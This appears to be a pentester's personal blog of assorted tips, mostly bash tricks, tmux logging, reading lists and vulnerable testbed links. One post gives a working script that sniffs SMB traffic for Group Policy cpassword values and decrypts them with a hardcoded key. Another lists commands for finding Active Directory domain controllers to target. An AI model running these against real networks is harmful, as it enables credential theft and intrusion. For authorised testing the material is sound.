Getting Better At Bash Scripting

some people really suck at bash scripting. Some people are just lazy. I'm the latter. Often times i know whats best, i just dont care because it really doesnt matter in that particular situation...

Here are a couple sites that made me become the go-to person for bashisms and all the "why doesnt this work" bash questions.

http://wiki.bash-hackers.org/start
http://tldp.org/LDP/abs/html/
http://www.tldp.org/LDP/Bash-Beginners-Guide/html/Bash-Beginners-Guide.html
http://www.tldp.org/LDP/intro-linux/html/intro-linux.html
http://www.tldp.org/LDP/sag/html/sag.html

The bash-hackers link is a frackin' gold mine.

Awk vs cut

The useless use of cat is an oft thrown around smack-on-the-hand for lots of noobies asking questions on forums.

This post is not about the useless use of cat, its about me being in a mood to nitpick about something i read on that page. If you go towards the "Gripes" section of the page you will see the following:

Frederick also remarks:

I disagree with your awk/cut comment, as I often use awk for everything and cut for nothing because the syntax for awk is so much cleaner for one liners and I don't have to RTFM so much.
I'll counter that awk is overkill, and you don't need to reread the cut manual after you've read it once or twice; that's my experience. Also cut much more clearly conveys to the reader what is going on -- a small awk script certainly should not take a lot of time to decode, but if you do it too quickly, there might be subtle points which are easy to miss. By contrast, cut doesn't have those subtleties, for better or for worse.

even when doing something as simple as printing out the second column of a line, cut and awk process the line in very importantly different ways: (and just cause i'm an ass, i'll use cat uselessly)

$ cat file
word1 word2 word3
blah1 blah2 blah3

$ cat file | cut -d ' ' -f 2
word2
blah2

$ cat file | awk '{print $2}'
word2
blah2

So let's see here why the cut command sucks balls. Lets add a SINGLE SPACE ANYWHERE between the words. In this case, between word1 and word2:

$ cat file
word1 word2 word3
blah1 blah2 blah3

Now, lets run both cut and awk commands again, starting with awk this time:

$ cat file | awk '{print $2}'
word2
blah2

ok, works like someone would expect it to...what about cut?
$ cat file | cut -d ' ' -f 2

blah2

WTF? yeah, screw you cut. awk ftw

awk is smarter than cut when it comes to recognizing where the "words" are. Cut just looks at the input and thinks that is goes like this:

field1field2field3...
word1NOTHINGword2

so unless you ABSOLUTELY KNOW your input is formatted correctly, use awk instead of cut. its safer

Get list of AD Domain Controllers from DNS records

I used to be dumb and find it annoying to get the list of DCs that I would target in a pentest. Apparently its super easy to get them from DNS records.

nslookup -type=srv _ldap._tcp.dc._msdcs.COMPANY.com

replace COMPANY.com with whatever the actual domain is. If you are using the internal DNS servers, you can typically just do a "nslookup -r 1.2.3.4" to get the FQDN of the machine. That usually provides you with the "COMPANY.com" part.

Enjoy!



Other ways i've found that work:

If you have shell access:
netdom query /D:DOMAINNAME DC
net view /domain
nltest /dsgetdc:DOMAINNAME

TTY Devices - Everything you wanted to know

nerd-drool:

http://www.linusakesson.net/programming/tty/index.php

Learning to Hack - Vulnerable Testbeds

There are a crap ton of vulnerable testbeds to educate the interested in how applications/operatings systems get hacked. I'll update this list as I come across them:

http://vulnhub.com/
http://io.smashthestack.org:84/
https://github.com/stripe-ctf/stripe-ctf
https://github.com/stripe-ctf/stripe-ctf-2.0/
http://www.dvwa.co.uk/
http://www.offensive-security.com/metasploit-unleashed/Metasploitable
http://www.irongeek.com/i.php?page=mutillidae/mutillidae-deliberately-vulnerable-php-owasp-top-10
https://github.com/SpiderLabs/SQLol
https://github.com/SpiderLabs/ShelLOL
https://github.com/SpiderLabs/XMLmao
https://github.com/SpiderLabs/XSSmh
https://github.com/SpiderLabs/CryptOMG
https://www.pentesterlab.com/exercises
http://www.overthewire.org/wargames/

EDIT:

Recently found these links on reddit for Capture The Flag challenges:

https://github.com/isislab/Project-Ideas/wiki/Capture-The-Flag-Competitions

Download ShmooCon 2013 Videos

ShmooCon released their videos on their website for everyone to download.

wget -i <(cat <<EOF
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - Opening Remarks & Rants.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - How to Own a Building BacNET Attack Framework.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - Mainframed The Secrets Inside that Black Box.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - WIPE THE DRIVE - Techniques for Malware Persistence.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - Apple iOS Certificate Tomfoolery.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - Hide and Seek, Post-Exploitation Style.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - Hackers get Schooled Learning Lessons from Academia.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - Friday Fire Talks.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - Running a CTF - Panel on the Art of Hacker Gaming.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - C10M Defending The Internet At Scale.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - Paparazzi Over IP.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - DIY Using Trust to Secure Embedded Projects.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - Moloch A New And Free Way To Index Your Packet Capture Repository-1.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - OpenStack Security Brief.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - Generalized Single Packet Auth for Cloud Envions.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - From Shotgun Parsers to Better Software Stacks.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - The Computer Fraud and Abuse Act Swartz, Auernheimer, and Beyond.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - Malware Analysis Collaboration Automation & Training.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - Bright Shiny Things Intelligent DA Control.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - Strategies of a World Class Security Inciden.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - Armoring Your Android Apps.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - Protecting Sensitive Information on iOS Devices.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - Beyond Nymwars - Online Identity Battle.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - How Smart Is BlueTooth Smart.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - Chopshop Busting the Gh0st.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - The Cloud - Storms on the Horizon.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - 0wn The Con.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - PunkSPIDER Open Source Fuzzing Proj Tgting the Internet.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - Crypto - Youre Doing It Wrong.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - Identity Based Internet Protocol.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - NSM and more with Bro Network Monitor.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - These Go To Eleven - When the Law Goes Too Far.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - Forensics - ExFat Bastardized for Cameras.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - Page Fault Liberation Army or Better Security Through Trapping.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - Hacking as an Act of War.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - MASTIFF - Automated Static Analysis Framewor.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - Attacking SCADA Wireless Systems.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - Ka-Ching - How to Make Real Money.mp4
http://www.shmoocon.org/2013/videos/Shmoocon 2013 - Is Practical Info Sharing Possible.mp4
EOF
)

You can copy and paste that into your terminal and it will download the videos to that directory.

Tmux screen logging workaround

I really like tmux, its sexy, sleek, actively developed, and has amazing mouse support. I only had one problem (so far) with the transition from GNU screen: output logging.

GNU screen has an amazing config option that I used almost all the time:

logfile screenlogs/%S%Y%m%d-%n.log
deflog on
The problem is that tmux doesnt have the same option :( the closest thing I have seen is the "pipe-pane" option, but I couldnt find any way to automate that upon startup of tmux. I figured, well since tmux doesnt let me do it, maybe I can hack something together myself. And thats exactly what i did. I give to you...tmux output logging via the script command:

if [[ $TERM = "screen" ]] && [[ $(ps $PPID -o comm=) = "tmux" ]] ; then
logname="$(date '+%d.%m.%Y_%H:%M:%S').tmux.log"
mkdir $HOME/logs 2> /dev/null
script -t 1 $HOME/logs/${logname} bash -login
exit
fi 

The above code basically checks if the $TERM variable is set to "screen" (tmux does this by default) and then check if the parent PID's name is "tmux". then it sets up a logging environment and output everything to the logfile it specifies.

That code works for OSX, for your basic GNU linux setup try this instead:

if [[ $TERM = "screen" ]] && [[ $(ps -p $PPID -o comm=) = "tmux" ]]; then
logname="$(date '+%d.%m.%Y_%H:%M:%S').tmux.log"
mkdir $HOME/logs 2> /dev/null
script -f $HOME/logs/${logname}
exit
fi

All you have to do is put that code into your .profile or .bashrc/.bash_profile and you are good to go.

Enjoy!

Bash script to sniff, parse, and decrypt cpassword's from GPOs

parse_username(){
echo -n "$1" | grep -o -P 'runAs=".*?"'| cut -d'"' -f 2
}
parse_cpassword(){
echo -n "$1" | grep -o -P 'cpassword=".*?"'| cut -d'"' -f 2
}
decrypt_cpassword(){
cpassword="$1"
pad_length=$(expr 4 - length "${cpassword}" % 4) # figure out the padding length
padding=$(for i in {1..${pad_length}}; do printf =; done) #output correct padding string
#pad, b64 decode, then decrypt the password
echo $(echo -n ${cpassword}${padding} | base64 -d | openssl aes-256-cbc -d -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv '')
}

tshark -R 'smb.cmd==0x2e and tcp contains 'cpassword'' -Tfields -e smb.file_data \
| xxd -r -p | grep cpassword \
| while read line; do \
echo $(parse_username "$line"):$(decrypt_cpassword $(parse_cpassword "$line"));
done

Figlet Fonts

These seems to be the least retarded....


univers
stop
starwars
standard
graffiti
big

figlet -f stop KITTENS

The Best USB WiFi Adapter for Pentests

I've spent a couple days researching what is the best USB wifi adapter to use in wireless penetration tests/site surveys.

If you are only concerned about the 2.4ghz spectrum than the widely suggested ALFA AWUS036H is still the best and works flawlessly out of the box.

The problem arises when you are trying to encompass both 2.4 and 5ghz ranges. I'll save you the rant about my search for the right device and i'll just give it to you here:

The only Dual Band (2.4/5ghz) USB adapter that works out of the box with everything including WPS cracking (reaver) that you can currently buy is the Ubiquiti SR71 USB Adapter. It comes up as the carl9170 driver in BT5r3.

http://www.amazon.com/Ubiquiti-Networks-SR71-USB-WLAN-802-11a/dp/B004EFND3I/ref=sr_1_1?ie=UTF8&qid=1361984587&sr=8-1&keywords=sr71+usb

Hopefully this saves you the days it took me to figure out which one is the best.


NOTE:
After some extensive testing i've noticed that it sometimes has a problem with WPS cracking and can be a bit finicky with the drivers. The ALFA AWUS036H still works flawlessly. I'm going to be testing more and more devices and will report when i have something.